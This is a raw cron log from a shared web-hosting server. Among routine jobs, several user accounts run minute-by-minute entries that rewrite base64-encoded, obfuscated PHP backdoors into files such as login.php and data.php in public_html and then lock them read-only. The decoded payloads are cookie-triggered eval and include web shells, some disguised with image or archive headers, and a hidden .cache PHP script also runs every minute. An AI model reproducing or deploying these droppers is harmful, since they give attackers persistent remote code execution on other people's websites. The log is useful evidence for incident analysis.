Apr 19 09:21:02 medusa CROND[13836]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:21:02 medusa CROND[13837]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:22:01 medusa CROND[6231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:22:01 medusa CROND[6298]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:22:01 medusa CROND[6299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:22:01 medusa CROND[6300]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:22:01 medusa CROND[6303]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:22:01 medusa CROND[6304]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:22:01 medusa CROND[6308]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:22:01 medusa CROND[6309]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:22:01 medusa CROND[6310]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:22:01 medusa CROND[6311]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:22:01 medusa CROND[6312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:22:01 medusa CROND[6313]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:22:01 medusa CROND[6316]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:22:01 medusa CROND[6320]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:23:01 medusa CROND[31139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:23:01 medusa CROND[31141]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:23:01 medusa CROND[31140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:23:01 medusa CROND[31142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:23:01 medusa CROND[31143]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:23:01 medusa CROND[31144]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:23:01 medusa CROND[31149]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:23:01 medusa CROND[31150]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:23:01 medusa CROND[31151]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:23:01 medusa CROND[31153]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:23:01 medusa CROND[31166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:23:01 medusa CROND[31155]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:24:01 medusa CROND[23818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:24:01 medusa CROND[23819]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:24:01 medusa CROND[23820]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:24:01 medusa CROND[23821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:24:01 medusa CROND[23822]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:24:01 medusa CROND[23824]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
